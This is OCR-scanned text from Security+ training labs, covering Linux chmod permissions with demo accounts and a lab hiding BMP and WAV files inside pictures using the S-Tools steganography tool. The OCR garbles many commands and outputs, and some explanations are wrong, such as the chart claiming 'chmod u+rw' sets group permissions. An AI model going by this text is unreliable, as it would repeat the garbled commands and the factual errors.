After a successful login, you will see the [lisa@rhel ~] prompt followed by the dollar
sign.

9. To view your present working directory or print your working directory, type:
[lisa@rhel ~]S pwd

[lisafrhel ~15 pud
home~1isa

Figure 38: The Present Working Directory of a Linux System

10. Type the following command to go back one directory to the /home directory:
[lisa@rhel ~]S cd ..

[lizaBrhel ~15 cd ..
[lisalrhel homel§ _

Figure 39: Moving Back One Directory

11. Type the following command to list all of the directories and their permissions:
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[lisa@rhel ~]S Is -l

[lisaBrhel homel$ 1z -1

bart zimp=zons 4096
cookie =seszamestreet 4896
elmo sezamestreet 4096
homer zimp=zons 4096
liza zimp=zons 4096
osScar sezamestreet 4096

Figure 40: The Permissions of the Home Directory

Lisa can give the other members of her group, bart and homer, permission to enter her
folder by using the chmod command.

12. Type the following to add read, write and execute permissions for lisa’s group:
[lisa@rhel ~]S chmod g+rwx lisa

[lizaBrhel homel5 chmod u+rwx lisa

Figure 41: Changing the Permissions

13. Type the following command to list all of the directories and their permissions:
[lisa@rhel ~]S Is —I

[lisaBrhel homel5 1s -1

simpsons 4896

3 cookie sesamestreet 4896
sesamestreet 4896

3 homer zimpsons 4096

drwxrwxt-- 3 lisa zimpsons 4096

Figure 42: Listing the Files on C:

The chart below shows examples of other ways the chmod command can be used:

chmod command Results
chmod u+rwx Adds read, write, and execute permissions for the user
chmod u+rw Adds read and write permissions for the group
chmod o+r Adds read permissions for others
chmod g-rwx Removes read, write, and execute permissions for the group

14. To log out as lisa and end her session, type the following command:
[lisa@rhel ~]$ exit

[lizaBrhel ~15 exit

Figure 43: Typing exit
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15. Log in as the user bart with the password of boy.

ed Hat Enterprise Linux Serwver release 5.4 (Tikanga)
Kernel 2.6.18-164.e15 on an i686

hel login: bart

assword:

Last login: 3at Apr 7 18:43:38 on tiyl
[bartO@rhel ~15 _

Figure 44: Logging in as bart

After a successful login, you will see the [bart@rhel ~] followed by the dollar sign.

16. Type the following command to go back one directory to the /home directory:
[bart@rhel ~]S cd ..

[bartBrhel ~15 cd ..

Figure 45: Moving Back One Directory

Now that permissions are modified, bart should now be allowed to enter lisa’s folder

17. Try to enter lisa’s folder as bart by typing the following command:
[bart@rhel ~]S cd lisa

[[bart@rhel homel5 cd lisa

Figure 46: Permission

18. To view the account you are logged in as and your present directory:
type:[bart@rhel ~]$ whoami && pwd

[bartBrhel lisalS whoami && pwd

hart
homeslisa

Figure 47: Copying Files to the Web Root

19. To log out as bart and end his session, type the following command:
[bart@rhel ~]S exit

[bartB@rhel ~15 exit

Figure 48: Typing exit
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Task 2.2 Conclusion

With Linux, there are permissions for users, groups, and others on files on folders.
Using the symbolic permissions, the owner of a file or folder can change those
permissions. If permissions are added for a group, other users who are members of the
group will be able to access files or folders to which they are granted permission.

Task 2.3 Discussion Questions

1. What is the command to give the group read and write permissions for the lisa
folder, within the home directory using symbolic permissions?

2. What is the command to give others read permissions for the lisa folder, within
the home directory using symbolic permissions?

3. What is the command to take away the read permissions for group for the lisa
folder, within the home directory using symbolic permissions?

4. What is the command to take away the read and execute permissions for the
others for the lisa folder, within the home directory using symbolic permissions?
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Task 3 Absolute Permissions

There are other ways to assign permissions besides using the symbolic permissions. The
use of absolute permissions is a different way to assign permissions to files and folders,
which can provide the same results as using the symbolic permissions.

Number Permissions

Read, Write, and Execute
Read and Write

Read and Execute

Read

Write and Execute

Write

Execute

None

o= [Nwh~hloO|N

By typing the following command, chmod 764 filel, these permissions will be assigned:

e The user will get Read, Write, and Execute permissions
e The group will get Read and Write
e Others will get Read Access

[root@rhel “1# chmod 764 filel
[rootBrhel “1# 1ls -1 filel

-ruxrw-r--| 1 root root B Apr 18 14:49

Figure 49: Privileges fields for Users, Groups, and Others
Task 3.1 Using Absolute Permissions
1. Login asthe user elmo with the password of red.
For security reasons, the password will not be displayed when you type it.

Red Hat Enterprise Linux Serwver release 5.4 (Tikanga)
Kernel 2.6.18-164.e15 on an i686

rhel login: elmo
Password:

Figure 50: Logging in as elmo

After a successful login, you will see the [elmo@rhel ~] prompt followed by the
dollar sign.

[elmoBrhel ~15 _

Figure 51: Regular users have a $ prompt
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2. To view your present working directory or print your working directory, type:
[elmo@rhel ~]S pwd

[elmoBrhel ~15 pud
shome e lmo

Figure 52: The Present Working Directory of a Linux System

3. Type the following command to go back one directory to the /home directory:
[elmo@rhel ~]S cd ..

[elmoBrhel ~15 cd ..
[elmoBrhel homel$5

Figure 53: Moving Back One Directory

4. Type the following command to list all of the directories and their permissions:
[elmo@rhel ~]S Is -l

[elmolfrhel homelS 1ls -1
total 32

bart simpsons 4896
cookie sesamestreet 4896

elmo sesamestreet 4896
homer simpsons 4896
liza simpsons 4896
oscar sesamestreet 4896

Figure 54: The Permissions of the Home Directory

5. Try to enter lisa’s folder as elmo by typing the following command:
[elmo@rhel ~]S cd lisa

[elmoBrhel homel$ cd lisa

bash: cd: lisa: Permission denied

Figure 55: Permission is Denied

6. To log out as elmo and end his session, type the following command:
[elmo@rhel ~]$ exit

[elmoB@rhel homel$ exit

Figure 56: Typing exit
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7. Login as the user lisa with the password of girl.

Red Hat Enterprize Linux Server release 5.4 (Tikanga)
Kernel 2.6.18-164.e15 on an ib86

rhel login: lisa
Fassword:
[lizaBrhel 15

Figure 57: Loggingin a lisa

After a successful login, you will see the [lisa@rhel ~] followed by the dollar sign.

8. To view your present working directory or print your working directory, type:
[lisa@rhel ~]S pwd

[lisalrhel "1 puwd
home~11i=sa

Figure 58: The Present Working Directory of a Linux System

9. Type the following command to go back one directory to the /home directory:
[lisa@rhel ~]S cd ..

[lizsaBrhel ~15 cd ..
[lisalrhel homel§ _

Figure 59: Moving Back One Directory

10. Type the following command to list all of the directories and their permissions:
[lisa@rhel ~]S Is -l

[lizaBrhel homel$ ls -1

bart simpsons 4896
cookie sesamestreet 4896
e lmo sesamestreet 4896
homer simpsons 41896
lisa simpsons 4896
osCcar sesamestreet 4896

Figure 60: The Permissions of the Home Directory

The user elmo is denied from accessing the lisa folder. Lisa can grant access to others
(everyone other than herself and the individuals within her group). You can give
permissions to others to enter lisa’s folder by using chmod with absolute permissions.
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11. Type the following to add read, write and execute permissions for others:
[lisa@rhel ~]S chmod 707 lisa

lisa@rhel homel5 chmod 787 lisa

Figure 61: Changing the Permissions

12. Type the following command to list all of the directories and their permissions:
[lisa@rhel ~]S Is I

[lizaBrhel homel5 1s -1

bart simpsons 41896
cookie sesamestreet 4896
e lmo sesamestreet 4896
homer simpsons 4896
liza zimpsons 41896
oscar sesamestreet 4896
student student 41A96

Figure 62: Listing the Files within /home directory

In this case, these permissions have been set for the lisa folder:

User Read, Write, and Execute
Group None
Owner Read, Write, and Execute

In the chart below, there are other examples of how the chmod command can be used:

Command Results

chmod 777 | Gives read, write, and execute permissions for the user, group and others

chmod 000 | Takes away read, write, and execute permissions for all accounts

chmod 440 | Adds read permissions for user, group. No permissions for others

chmod 606 | Gives read and write permissions for the user and others. None for group.

13. To log out as lisa and end her session, type the following command:
[lisa@rhel ~]$ exit

[lisal@rhel ~15 exit
Figure 63: Typing exit
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14. Log in as the user elmo with the password of red.

rhel login: elmo
Fazzword :

Last login: Tue Apr 18 ZA:Z2B:8BY on ttyl
[elmoBrhel ~15

Figure 64: Logging in as elmo

After a successful login, you will see the [elmo@rhel~] followed by the dollar sign.

15. Type the following command to go back one directory to the /home directory:
[elmo@rhel ~]S cd ..

[bartBrhel ~15 cd ..

Figure 65: Moving Back One Directory

Now that permissions are modified, elmo should now be allowed to enter lisa’s folder:

16. Try to enter lisa’s folder as elmo by typing the following command::
[elmo@rhel ~]S cd lisa

[elmoBrhel homelS cd lisa
Figure 66: Permission
17. To view the account you are logged in as and your present directory, type:

[elmo@rhel ~]S whoami && pwd

[elmoBrhel lisalS whoami && pwd
e 1 mo
home-1lisa

Figure 67: Displaying the user and present working directory

18. To log out as elmo and end his session, type the following command:
[elmo@rhel ~]S exit

[elmoBrhel lisal$ exit

Figure 68: Typing exit
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Task 3.2 Conclusion

With Linux, there are permissions for users, groups, and others, which control access to
files and folders. Using the absolute permissions, the owner of a file or folder can
change those permissions. If permissions are added for a group, other users who are
members of the group will be able to access files or folders to which they are granted
permission.

Task 3.3 Discussion Questions

1. What is the command to give the user, group, and others read and write
permissions for the lisa folder, within the home directory using absolute
permissions?

2. What is the command to give the user, group, and others read permissions for
the lisa folder, within the home directory using absolute permissions?

3. What is the command to give read and execute permissions the user, group, and
others for the lisa folder, within the home directory using absolute permissions?

4. What is the command to give read, write, and execute permissions the user,
group, and others for the lisa folder, within the home directory using absolute
permissions?
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5 References

1. The passwd man page:
http://unixhelp.ed.ac.uk/CGl/man-cgi?passwd

2. Understanding /etc/shadow file:
http://www.cyberciti.biz/fag/understanding-etcshadow-file/

3. The chmod man page:
http://ss64.com/bash/chmod.html

4. Linux: useradd - Linux man page:
http://linux.die.net/man/8/useradd

5. Linux: groupadd - Linux man page:
http://linux.die.net/man/8/groupadd
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Lab 16: General Cryptography Concepts

1 Introduction

This lab is part of a series of lab exercises designed through a grant initiative by the
Center for Systems Security and Information Assurance (CSSIA) and the Network
Development Group (NDG), funded by the National Science Foundation’s (NSF)
Advanced Technological Education (ATE) program Department of Undergraduate
Education (DUE) Award No. 0702872 and 1002746. This series of lab exercises is
intended to support courseware for CompTIA Security+® certification.

By the end of this lab, students will be able to hide digital information as well as reveal
hidden data within pictures by using S-Tools . S-Tools is a steganography tool that can
be utilized to hide pictures or WAV files. Only users who know the password and

encryption algorithm used in order to reveal the hidden picture or the hidden WAV file.

This lab includes the following tasks:
e Task 1- Hiding a Picture within a Picture Using S-Tools

e Task 2 - Hiding a Media File within a Picture Using S-Tools
e Task 3 - Revealing Hidden Data Using S-Tools
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2 Objective: Summarize general cryptography concepts

You may have read an article online about how some Russian spies used steganography
to conceal information and send information to one another. The tools and techniques
used in this lesson are very similar to those used in high profile cases within the media.

S-Tools [1] — S-Tools is a steganography tool that can be utilized to hide pictures or WAV
files. S-Tools can also be used to reveal hidden digital messages in pictures if the person
has the correct password and encryption algorithm. Tools like this one and similar tools
have been used to transmit files with hidden digital messages in them.

Encryption Algorithm — S-Tools allows the user to use various symmetric encryption
algorithms to encrypt their hidden digital message, including:

e |DEA - International Data Encryption Algorithm
e DES — Digital Encryption Standard
e Triple DES - Triple Data Encryption Standard

BMP File — A picture image format that can be utilized within the S-Tools program.

WAV File — A WAV, Waveform Audio File Format file, is a sound file format that can be
utilized within the S-Tools program. WAV files can be hidden or used to hide other files.

GIF File — A GIF, Graphics Interchange Format file, is a picture image format that can be
utilized within the S-Tools program. Other files can be hidden within GIF files.
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3 Pod Topology
BackTrack 5 Windows 7
Attack Attack

Red Hat Linux
Victim

Victim

Windows 2k3 Server

INTERNAL NETWORK

MSEC

Multi-Purpose
Security Pod

EXTERNAL NETWORK

% |

NS
\ll..ll Firewall
5 §

Domain: MSEC.local
192.168.100.0/24

Domain: GVPC.local
10.10.19.0/24

LiNuX
SNIFFER

.

BackTrack 4
Attack

Figure 1: MSEC Network Topology
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Lab 16: General Cryptography Concepts

4 Lab Settings

The information in the table below will be needed in order to complete the lab. The

task sections below provide details on the use of this information.

Required Virtual Machines and Applications

Log in to the following virtual machine before starting the tasks in this lab:

Windows 7 Internal Attack Machine

192.168.100.5

Windows 7 student password

password

Windows 7 Login:

1. Click on the Windows 7 icon on the topology.

2. Enter the username, student (verify the username with your instructor).

3. Type in the password, password and hit enter to log in (verify the password with

your instructor).

Figure 2: Windows 7 login
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Lab 16: General Cryptography Concepts

Task 1 Hiding a Picture within a Picture Using S-Tools

S-Tools is a Stenography tool that can be used to hide bitmap, GIF, and WAV files from
plain view. The files will be embedded in a picture file. The S-Tools program can be
downloaded from the following link: http://www.cs.vu.nl/~ast/books/mos2/steg.zip

Task 1.1 Hiding a Picture Using S-Tools

Open S-Tools

1. Inthe Windows 7 system, double click on the steg folder on your Desktop.
Double click to open S-Tools.exe.

iiU|.bsteg

Organize = Open Share with = Burn

[ Favorites Hlame
B Desktop |%| eryptlib.dil
& Downloads |%) GIFutil.dll
| Recent Places original-zebra
- Libraries || 5-Tools.GID
i Documents ® s-Toolship
JT Music | zebras.brmp
[ Pictures % zlib.dll

Figure 3: Double Clicking on the S-Tools.exe file

2. Click Continue if you receive a warning. Click the single rectangle in the bottom
left hand side of the screen to maximize the Actions window for S-Tools.

(% Acti..[ & |wE|ezs]
Ready Mazximize I_

Figure 4: Maximize the Actions Window
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Lab 16: General Cryptography Concepts

3. Drag the original-zebras.bmp file from the steg folder into the S-Tools Actions

window.

i 5-Tools - Actions @@.ﬂ L » steg

S imdomestisten
=] Preview = Share with Prin

Organize =
‘i:{ Favorites Dian
Bl Desktop |%| cryptlib.dll

& Downloads )| GIFutil.dll
= Recent Places | | original-zebras.brmp

s 5 [ools.exe

& Lib || 5-Tools.GID
Documents a 5-Tools.hlp
a! Music zebras.bmp
&= Pictures @) zlib.dll
Bl v

Figure 5: Dragging a File into the S-Tools Actions Windows

Notice in the bottom right hand corner, it states that this bitmap picture file can hold up
to 294,896 bytes. This is the size limit for a file that can be hidden within this picture.

= S-Tools - [original-zebras.omp]

_jcan hold up to 294,896 b

— o e

Figure 6: The original-zebra.bmp file can hold up to 294,896 bytes
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Lab 16: General Cryptography Concepts

4. Drag the msec.bmp file on to the original-zebras picture in the S-Tools Actions
window. After the file is placed in the window, you will see a box appear. This
box asks for a passphrase, passphrase verification, and the encryption

| Recent Places

algorithm.
. File Edit View Tools Help
Organize v [ Preview Share with v P
0 Favorites fame
I Desktop ) cryptlib.dll
1 Downloads | GlFutil.dil

‘@ msec.omp

A Libraries
@ Documents

& original-zebras,

2 S-Tools.exe
S-Tools.GID

Figure 7: Hiding the msec.bmp file within the original-zebras file.

5. For the passphrase, type password. For the verify passphrase, type password.
Leave IDEA for the Encryption algorithm. Click the OK button to hide the
msec.bmp file.

Hiding 28,531 bytes

Pazsphrase: | password

I Verify passphrase: I password

E ncryption algorithm: IIDE.-’-‘-.

Figure 8: Typing the Password

Even though the IDEA Encryption was used, other encryption algorithms can be used. If
an encryption algorithm other than the default is chosen, that information needs to be
provided, along with the password, to the person who is revealing the hidden picture.

-]

Encroption algarithn: I IDEA

Figure 9: Selecting the Encryption Algorithm

Now, in the top left hand corner of the picture, the phrase [hidden data] will appear,
indicating that digital information has been hidden in the original zebras.
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2 S-Tools - [hidden data] | «§ =@ | =)
@ File Window Help HEE

Ready | No window selected

Figure 10: The msec.bmp file is hidden data within the original-zebras picture

6. To save the original-zebras file with the hidden msec.bmp file, right click
anywhere within the picture, and select Save as... from the menu list.

2 S-Tools - [hidden data]
&\ File Window Help [= =] %]

£rs

Save as...

Properties...

Save with a new name... | can hold up to 294,896 bytes

Figure 11: Saving the original-zebras picture with the embedded hidden msec.bmp picture
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7. Inthe Save As Pop-up box:

e Verify the Save in location is the steg folder
e For the filename, type zebras_with_hidden_msec.bmp

Make sure you include the .bmp file extension.

e Verify the Save as type is All Files (*.*)
e Click the Save Button

r

#1- Save As |i|
Savein: | |, steg j = £ EFv
MNarne . s
%] GIFutil.dll i

| || msec.bmp =

|| original-zebras.bmp
i 5-Tools.exe

5-Tools.GID -
T m |

F
File name: Izebms_with_hidden_msec.bmp Save ||
Save a3z type: IAII Files (*.%) ;I Cancel |

Figure 12: The Save as Dialog Box of S-Tools

k.

Typically, the user would not indicate the name of the hidden picture file within the
name of their picture. In this case, it is done to help you understand how S-Tools works.

A
v

ea can hold up to i bytes ~
Ready | hold up to 294,896 byt

Figure 13: The Name of the New File that contains the Hidden MSEC bmp file
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8. Close the S-Tools program by selecting File from the menu bar and selecting Exit.

-~

2 S-Tools - [zebras_with_hidden_msec.bmp]

@\[File] Window Help

Exits from S-Tools

Figure 14: Closing S-Tools

can hold up to 294 896 bytes

9. Open the S-Tools program again, by double clicking on the S-Tools.exe file.

TO + =

Organize = Open Share with = Burn
.0 Favorites Blokye

Bl Desktop |%| eryptlib.dll

4 Downloads ||

GIFutil.dll

[
1= Recent Places

= origipal-zebras.bmp
=>
0 Libraries || 5-Tools.GID
@ Documents '@' 5-Tools.hlp
d‘i Music | & zebras.bmp
[ Pictures %] zlib.dll

Figure 15: Double Clicking on the S-Tools.exe file

8/15/2012
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Lab 16: General Cryptography Concepts

10. Click the single rectangle in the bottom left hand side of the screen to maximize
the Actions Window if needed. The Actions window should be maximized.

& Acti...[ & |[mEwimede ]
Ready - Maximizel__

Figure 16: Maximize the Actions Window

11. Drag the zebras_with_hidden_msec.bmp file from the steg folder located on the
desktop into the S-Tools Actions window.

s 5-Tools - Actions

File Window Hel W

2 P (Tl » =5

s, Actions : File Edit View Tools Help
Action | State | Progress

Crganize « =] Preview ~ Share with Print Burr

L Fawvorites = blace
Bl Desktop %] cryptlib.dll
& Downloads %] GIFutil.dll
=l Recent Places |&| msec.bmp

m

& original-zebras.bmp
- Libraries % 5-Tools.exe
@ Documents 5-Tools.GID

i @ S-Tools.hip

[&=] Pictures L & zebras.bmp
ﬂ Videos Ié, zebras_with_hidden_msec.bmp I
|%] zlib.dll

Ready

Figure 17: Dragging a File into the S-Tools Actions Windows

Verify that the file name zebras_with_hidden_msec.bmp is next to the word S-Tools.

=':’.z| S-Tools - [zebras_with_hidden_msec.bmp] I e
@ File Window Help
= v § oL Ef
: <77 ? v

| No window selected Y

Figure 18: The zebras_with_hidden_msec.bmp file in the S-Tools Actions Window
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12. To reveal the hidden picture, right click on the zebra picture and select Reveal.

2. S-Tools - [zebras_with_hi

&\ File Window Help
TR

G GATE -

TG Y " T < Lo 4 R g o .l
Y PR T 5 -~ J > ™~ LA S0y 3
‘._‘ R X S 3t N il " N\ "M"'.l'\.{l

L. > .
Y
5..:'(: \

Try to reveal a hidden file | can hold up to 294,896 bytes 2

Figure 19: Revealing the Hidden Picture File

13. Type password in the passphrase and verify passphrase boxes. Leave IDEA for
the Encryption algorithm. Click OK to reveal the hidden msec.bmp file.

Revealing from zebras_with_hidden_wav_file.bmp g
-

Pazzphrase; I password
Verity passphiase: | password Cancel |
Encryption algonthm: IIDE,-“.‘-. ;I Help |

Figure 20: Typing the Password

The words, S-Tools — [Revealed Archive] should appear, along with a Revealed files
window pane in which the name and size of the hidden file msec.bmp are displayed.

-

2 S-Tools - [Revealed Archi = | B8] X
\ ools - [Revealed Archive] - -
["J File Window Help [- =] x]
Revealed files:
Mame | Size |
b zec. bmp 488,798
Ready | Mo window selected 2

=

Figure 21: S-Tools — [Revealed Archive] Window
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14. Right click on the Msec.bmp file, and select Save as...

-

- 5-Tools - [Revealad Archive]

=y )

". File Window Help

BEEY

Fevealed files:

Mame | Size |

488 7938
Save as... | df—

Properties...

Save highlighted file to disk

| Mo window selected 2

Figure 22: Saving the Hidden File within the Zebras Picture File

15. Type the following in the file name box: my_hidden_file.bmp

Make sure you include the .bmp file extension.

F

2 Save As o e e e W — e

===

Marme

|%| cryptlib.dll

|%| GIFutil.dll

| & msec.bmp

|&| criginal-zebras.bmp

i 5-Tools.exe

1 | i |

Savein: | || steg j = I'='_"\‘|@C '

M. .

Filename:  |my_hidden_file bmp Save
Save as type: I j Cancel
. = — 4

Figure 23: Saving the Hidden File
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16. Double click on the my_hidden_file.bmp in the steg folder on your desktop.

m'ﬂ| i F steg

File Edit View Tools Help

Organize * [57 Preview = Share with = Print

5 Favorites oY Bl |
Ml Desktop |%| cryptlib.dll
3 Downloads |%) GIFutil.dll
‘&l Recent Places & msec.bmp
=| |4 my_hidden_filebmp -(—'

Figure 24: Opening the Revealed File

The picture that you hid within the original-zebras.bmp file should now be revealed.

B msec.bmp - Windows Photo Yiewer ..]I:llﬂ

} File ~ Print ~  E-mai Burn - Open - @ }
I
BackTrack S Windows 7 Red Hat Linux ~ Windows 2k3 Server
Attack Attack Victim Victim

Domain: MSEC.local
192.168,100.0/24

INTERNAL NETWORK

MSEC 3
Multi-Purpose Firewall

Security Pod 3 y
Domain: GVPC.local
EXTERNAL NETWORK 10.10.19.0/24

BackTrack 4 windows th3 Server

( JOR2 C=1 (wlﬂ-,l()w’l.l_% 9 ¢ x\

Figure 25: My-hidden_file.bmp is the msec.bmp file that was hidden within the original-zebras picture
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Lab 16: General Cryptography Concepts

17. Close the S-Tools program by selecting File from the menu bar and selecting Exit.

=2 S-Tools - [zebras_with_hidden_msec.bmp] lﬂ]m

@ [File] Window Help =

Properties... (1) il ’ﬁ o7 7o TPl e B T g TR T I SN WA ol
P (055 0 -P,‘:'\V_'. f*;ld 5"\’ / v: \ K;‘.c'i '\.-:;\_;.:.\' 3l
. - r v . ‘ . ‘l‘ . , ¥

Exits from S-Tools can hold up to 294,8967byies y
e —— e ——— e — e —

Figure 26: Closing S-Tools

Task 1.2 Conclusion

S-Tools is a Stenography tool that can be used to hide bitmap, GIF, and WAV files from
plain view. The files will be embedded in a picture file. During the lab, we hid a picture
named msec.bmp within another picture of zebras. Only users who know the password
and encryption algorithm used will be able to reveal the hidden msec.bmp picture file.

Task 1.3 Discussion Questions

What kind of files can be hidden with the S-Tools Stenography tool?
How is a hidden file revealed within the S-Tools program?

What is needed to reveal a hidden file in the S-Tools program?

What are some of the available encryption algorithms within S-Tools?

N
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Task 2 Hiding a Media File within a Picture Using S-Tools

S-Tools is a Stenography tool that can be used to hide bitmap, GIF, and wave files from
plain view. The files will be embedded in a picture file. There is a popular saying that “a
picture can say a thousand words.” In this task, we will accomplish just that, by hiding a
WAV file, which is a sound file, in a picture. That WAV file could be a message of
someone speaking a thousand words, a secret message from one person to another, or
it could be even be a music file.

Task 2.1 Hiding a WAV file with S-Tools

Open S-Tools

1. Double click on the steg folder on your Desktop. Open the S-Tools.exe file.

—,
OU | | » steg
Organize = Open Share with = Burn
»i Favorntes Bloke
Bl Desktop |%| eryptlib.dll
4 Downloads %) GIFutil.dlil
| Recent Places original-zebras.bmp
- Libraries | | 5-Tools.GID
i Documents ® S-Tools.hlp
J’-‘ Music | zebras.brmp
[ Pictures 1% zlib.dll

Figure 27: Double Clicking on the S-Tools.exe file

2. Click the single rectangle in the bottom left hand side of the screen to maximize
the Actions window if needed. The Actions window should be maximized.

(% Acti..[ & ||
Ready Mazximize I_

Figure 28: Maximize the Actions Window
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3. Drag the original-zebras.bmp file from the steg folder into the S-Tools Actions
window.

i 5-Tools - Actions %_ﬂ X » sieg
_File  Window Help ”

Organize = =] Preview = Share with - Print
fr Favorites e

Ml Desktop )| cryptlib.dil

¢ Downloads ) GlFutil.dil

“Zl Recent Places | original-zebras.bmp

i 5-Tools.exe

5 Libases __| 5-Tools.GID
"] Documents a 5-Tools.hlp
@' Music zebras.bmp
=] Pictures ) zlib.dil

Figure 29: Dragging a File into the S-Tools Actions Windows

4. Dragthe Windows_Ding.wav file on to the original-zebras picture in the S-Tools
Actions window. After the file is in the window, you will see a box appear. This
box asks for a passphrase, passphrase verification, and the Encryption algorithm.

# S-Tools - [original-zebras.omp] ‘
[ @k File Window Help %g T
LT T R A I R TR ot M T G P T Rl B AT S w@ et | . —
ST B R L IS o Aol PR [ — —
Ar;o,ﬁ'g.: kRl f’f)f‘{{fr % d ; A i . File Edit View Tools Help
8 BN LAY G \ ey I8
&' s Organize v Play v Share with v Burn N
@ z 2 Name
Pkont= E >-100Is. 01U
B Desktop @ s-Toolshlp
= Downloads ﬂ_mu.- ” _Ding.wavl
™ X / = Recent Places L@ Zebras.bmp
y | & zebras_with_hidden_msec.bmp
- Libraries e i
\  Windows_Ding.wav Length: 00:00:00
< m v£v Wave Sound Rating: 13 L3 W W3 W
Ready No win

Figure 30: Hiding the Windows_Ding.wav file within the original-zebras file.

5. Type password in the passphrase and verify passphrase boxes. Leave IDEA for
the Encryption algorithm. Click the OK button to hide Windows_Ding.wav.

Hiding 100,462

Pazzphrasze: I password Ok

“ernify passphrasze: I FJEISSWDrd Cancel

il

Encryphion algornthm: IIDE.-'lx ;I Help

Figure 31: Typing the Password
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Now, in the top left hand corner of the picture, the phrase [hidden data] will appear,
indicating that digital information has been hidden in the original zebras.

% S-Tools - [hidden data] | «& l= @ | -
&\ File Window Help [- [[=] %]

't L

. : N -‘. § _" .'3 ,{?' 3
e
[ = (=
. \ ' -..'f.' b
- A\ _‘,;:( g ‘
B S
t LNV A SNE
beg o 7 £ 20000 ES SRR R
< |" l 3
Ready | No window selected 2

Figure 32: The Windows_Ding.wauv file is hidden data within the original-zebras picture

6. To save the original-zebras file with the hidden Windows_Ding.wav file, right
click anywhere within the picture, and select Save as... from the menu list.

s S-Tools - [hidden data]

&, File Window Help —J[=] x]
T R B s o 14" :,,.:’ =

R Af .'f;-..? :

Eoad v ot Sty

\(\1 (S LSy X 'L‘,j

- Sl

5 }

) * (

Save with a new name... | can hold up to 294,896 bytes

Figure 33: Saving the original-zebras picture with the embedded hidden Windows_Ding.wav file
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7. In the Save As Pop-up box:

e Verify the Save in location is the steg folder
e For the filename, type zebras_with_hidden_wav_file.bmp

Make sure you include the .bmp file extension.

o Verify the Save as type says All Files (*.*)
e C(lick the Save Button

’ 22 Save As ﬂ1

Save ir1:| || steg Ll é= |‘='_“F Eo-
Mame : i
® s-Tools.hip

|| Windows_Ding.wav
|&% zebras.bmp
| zebras_with_hidden_msec.bmp

m

%) zlib.dll -
' 0 |

I
File name: Izebms_hﬂth_hidden_wav_ﬁle.bmp Save I
Save as type: IAII Files {*.7) L! Cancel |

Figure 34: The Save As Dialog Box of S-Tools

Normally, the user would not indicate the name of the hidden picture file within the
name of their picture. In this case, it is done to help you understand how S-Tools works.

10y

r

52 S-Tools - [zebras_with_hi

& File Window Help

0- 3
e\ <
\ ? = )
Wi |
i

4 o2
D) ' - 7 R B y-‘* L -
|

Ready | can hold up to 294,896 bytes

Figure 35: The Name of the New File that contains the Hidden Windows_Ding.wav file
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8. Close the S-Tools program by selecting File from the menu bar and selecting Exit.

% S-Tools - [zebras_with_hidden_msec.bmp] Lo | B [
@[File] Window Help |- =] x]
Properties... EYita: R P A &x s L ALy,

S P O R S et
‘J,.. P we - s L) AN
L pdA s

Exits from S-Tools can hold up to 294 896 bytes
e —— e ——— e — e —

Figure 36: Closing S-Tools

9. Open the S-Tools program again by double clicking on the S-Tools.exe file.

TO + =

Organize = Open Share with = Burn

.0 Favorites Hlanse
Bl Desktop |%| eryptlib.dll
4 Downloads ||

GIFutil.dll

[
1= Recent Places

= origipal-zebras.bmp
=>
0 Libraries || 5-Tools.GID
@ Documents '@' 5-Tools.hlp
d‘i Music | & zebras.bmp
[ Pictures %] zlib.dll

Figure 37: Double Clicking on the S-Tools.exe file
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10. Click the single rectangle in the
the Actions window if needed.

(% acti..[ 2]
Ready

o=

bottom left hand side of the screen to maximize
The Actions window should be maximized.

Figure 38: Maximize the Actions Window

11. Drag the zebras_with_hidden_wav_file.bmp file from the steg folder located on

the desktop into the S-Tools Act

ions window.

- N
&, 5-Taols - Actions .= | E ]
File Window Help - b ste 3 By |
| o2 g v | earch steg yel
(llasigal [4][s .
R Actions File Edit View Tools Help
el LEstale Ui Organize = (=] Preview = Share with + Print Burn Mew folder R E;l lﬂ
e “ MName =
B Eavoriles |-| 4| WINOOWS_Ling.wav
= [Cd} |
B Desktop ' |& zebras.bmp
W Doninas |&| zebras_with_hidden_msec.bmp i)
s gl -BecentBlacec h-é- zebras_with_hidden_wav_file.bmp I |E
%] zlib.dll -
'ﬁ_ Libraries = i ) v
" zebras_with_hidden_wav_file.omp Date modified: 5/26/20121:21 PM
Ready m Bitmap image Dimensions: 1024 x 768

Figure 39: Dragging a File into the S-Tools Actio

Verify that the file name zebras_with_hi
Tools.

ns Windows

dden_wav_file.bmp is next to the word S-

224 S-Tools - [zebras_with_hidden_wav_file.bmp] —_— = | @ 29

?& File Window Help _[[= x"

, 3 _"-. ~
(=]

/
4

| No window selected

Figure 40: The zebras_with_hidden_wav_file in the S-Tools Actions Window
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12. To reveal the hidden wav file, right click on the zebra picture and select Reveal.

2 S-Tools - [zebras_with_hidden_wav_ﬁle.bmp]~ -ah-a. ==

@ File Window Help _5‘x

. < o
g0t ﬁbab M
3 PP 4 Save

Save as...

Properties...
[oer]e— |}
"(f, - ’ \\

Try to reveal a hidden file | can hold up to 294,896 bytes

/|

A

e o e e ——aaeau e

Figure 41: Revealing the Hidden Picture File

13. Type password in the passphrase and verify passphrase boxes Leave IDEA for the
Encryption algorithm. Click the OK button to reveal the hidden WAV file.

Revealing from zebras_with_hidden_wav_file.bmp ﬂ

Paszphraze; I paSSWGFd Ok |
Werify pazzphraze; I password Cancel |
E ncrypption algorithm; IIDE.-'i‘-. j Help |

Figure 42: Typing the Password

=

The words, S-Tools — [Revealed Archive] should appear, along with a Revealed files
window pane in which the name and size of the hidden Windows_ding.wav file are
displayed.

P &

. S-Tools - [Revealed Archive] iﬁ

["J File Window Help _ =] =

Revealed files:

Mame | Size |
Windows_ding way 118,556

Ready No window selected  #

e 4

Figure 43: S-Tools — [Revealed Archive] Window
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14. Right click on the Windows_ding.wav file, and select Save as...

e 180l - [Revealed Archivel EE

") File Window Help BHER

Fevealed files:

Wfinda 5 ljir'lg. wWaw

[omae [—

Properties...

Save highlighted file to disk |Nowindow selected 4

Figure 44: Saving the Hidden File within the Zebras Picture File

15. Type the following in the file name box: my_hidden_wav_file.wav

Make sure you include the .wav file extension.

i Al
- Save As u
Savein: | |, steg j = EF Ee-
Mame : &
|| Windows_Ding.wav
|| zebras.bmp

@jzebra s_with_hidden_msec.brnp
|| zebras_with_hidden_wav_file.bmp

m, |

|%)| zlib.dll -

1 m | r
File name: Imy_hidden_wav_ﬁle.wav Save I
Save as type: I LI Cancel | ]

Figure 45: Saving the Hidden WAV File

16. Close the S-Tools.exe by selecting File, then exit.
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17. View the my_hidden_wav_file.wav folder on your desktop.
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Figure 46: Viewing the Revealed File

If we have an audio device installed on our system, we can listen to the messages and
